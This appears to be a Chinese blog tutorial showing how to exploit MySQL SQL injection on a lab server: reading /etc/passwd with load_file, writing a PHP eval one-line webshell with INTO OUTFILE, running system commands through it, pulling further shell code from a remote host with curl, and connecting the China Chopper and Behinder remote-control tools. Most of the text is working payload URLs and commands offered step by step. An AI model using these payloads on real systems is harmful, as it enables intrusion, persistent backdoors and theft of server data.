sql 注入 文件读写 木马植入 远程控制

sql 注入 文件读写 木马植入 远程控制

一, 检测读写权限

查看mysql全局变量

sql 复制代码
   SHOW GLOBAL VARIABLES LIKE '%secure%'

   secure_file_priv = 空, 则任意读写
   secure_file_priv = 路径, 则只能读写该路径下的文件
   secure_file_priv = NULL, 则禁止读写

二, 读取文件, 使用 load_file() 函数

复制代码
先尝试读取系统常见的固定目录, 或者异常报出来目录
http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, 
( select load_file( "/etc/passwd" )  ), 5, 6

http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, 
( select load_file( "/opt/lampp/etc/httpd.conf" )  ), 5, 6

其他的不确定的目录与文件名可以通过 burpsuit 用字典爆破.

三, 写入一句话木马, 使用sql "into outfile" 语句

1. 先尝试写入某个目录
复制代码
http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, 
"hello world", 5, 6 into outfile "/opt/lampp/htdocs/security/mm.php" 
2. 写入后尝试用url访问这个文件, 如果404找不到对象,
复制代码
可能当前目录没有写权限:
"Can't create/write to file '/opt/lampp/htdocs/security/mm.php' (Errcode: 13 "Permission denied")"
3. 继续找下一级目录继续写入测试
复制代码
http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, 
"hello world", 5, 6 into outfile "/opt/lampp/htdocs/security/test/mm.php" 
4. 测试成功, 写入一句话木马
复制代码
使用eval()函数, 通过url中传入的参数字符串交给eval执行.
4.1 使用 GET 请求: "<?php @eval($_GET['cmd']);?>"
复制代码
    写入木马文件到服务器
    http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, 
    "<?php @eval($_GET['cmd']);?>", 5, 6 
    into outfile "/opt/lampp/htdocs/security/test/mm.php"     
    
    使用url访问木马文件, 传入需要执行的代码
    http://192.168.112.200/security/test/mm.php?cmd=phpinfo();
    .../mm.php?cmd=echo date('Y-m-d');
    .../mm.php?cmd=system('ifconfig');
    .../mm.php?cmd=system('cat /etc/passwd');
    # 远程下载其他木马文件
    .../mm.php?cmd=system('curl http:/xxx/xxx/xxx.php')
4.2 使用POST 请求: "<?php @eval($_POST['cmd']);?>"
复制代码
    写入木马文件到服务器
    http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, 
    "<?php @eval($_POST['cmd']);?>", 5, 6 
    into outfile "/opt/lampp/htdocs/security/test/mm.php" 
    
    使用url访问木马, 使用 POST 请求提交参数.
    URL:  http://192.168.112.200/security/test/mm.php
    DATA: cmd=system('cat /etc/passwd');

四, 远程工具: 中国菜刀

复制代码
说明: 
    这是一个远程控制工具, 依赖于已经植入的木马. 
    使用中国菜刀可以方便的利用木马文件, 代替手工反复post命令来查看服务器的数据, 
    例如浏览文件目录, 数据库等等(具体能执行的命令依赖于权限, 与进一步提权有关).

准备工作:
    已经向服务器写入了post类型的一句话木马.例如:
    http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, 
    "<?php @eval($_POST['cmd']);?>", 5, 6 
    into outfile "/opt/lampp/htdocs/security/test/mm.php" 

工具操作:
    1. 在中国菜刀的窗口空白处 [右键], [添加], 写入木马[地址], [参数名], [编码格式]等. 例如:
        地址: http://192.168.112.200/security/test/mm.php
        参数名: cmd

    2. 在添加的地址列表处 [右键], 即可选择 [文件管理], [数据库], [虚拟终端] 等功能.

缺点:
    菜刀是采用base64编码传输, 等于是明文传输, 容易被WAF进行防护.

五, 远程工具: Behinder 冰蝎

复制代码
说明:
    这是一个远程控制工具, 参数采用加密传输, 不容易被WAF防护.
    服务器需要对传输的数据进行解密, 因此需要先将包含加密通信key的shell代码写入或上传到目标服务器.
    各种语言的 shell 代码在 server 文件夹中, shell 文件中记录了连接用的密钥key.
    密钥也可以自己定义, 定义规则在注释中.
    
    建议使用一句话木马通过curl将shell代码从自己的地址把文件下载到服务器上, 例如:
    .../mm.php?cmd=system('curl http:/xxx/shell.php > /opt/lampp/htdocs/security/test/shell.php')    

准备:
    1. 将shell代码传入目标服务器, 比如将 shell.php 中的代码通过一句话木马写入到服务器.
    或者有条件将shell.php 直接上传到服务器. 
    
    2. 打开behinder界面, [右键], [添加], 
        输入木马[URL], [连接密码](在shell.php文件中查看), 保存.
    
    3. 双击或者右键打开连接, 连接后默认会显示phpinfo()的信息.
相关推荐
冒泡的肥皂17 分钟前
MVCC初学demo(一
数据库·后端·mysql
.Shu.1 小时前
Redis Reactor 模型详解【基本架构、事件循环机制、结合源码详细追踪读写请求从客户端连接到命令执行的完整流程】
数据库·redis·架构
yatingliu20192 小时前
HiveQL | 个人学习笔记
hive·笔记·sql·学习
whysqwhw4 小时前
安卓图片性能优化技巧
android
薛晓刚4 小时前
当MySQL的int不够用了
数据库
风往哪边走4 小时前
自定义底部筛选弹框
android
SelectDB技术团队4 小时前
Apache Doris 在菜鸟的大规模湖仓业务场景落地实践
数据库·数据仓库·数据分析·apache doris·菜鸟技术
星空下的曙光5 小时前
mysql 命令语法操作篇 数据库约束有哪些 怎么使用
数据库·mysql
小楓12015 小时前
MySQL數據庫開發教學(一) 基本架構
数据库·后端·mysql
Yyyy4825 小时前
MyCAT基础概念
android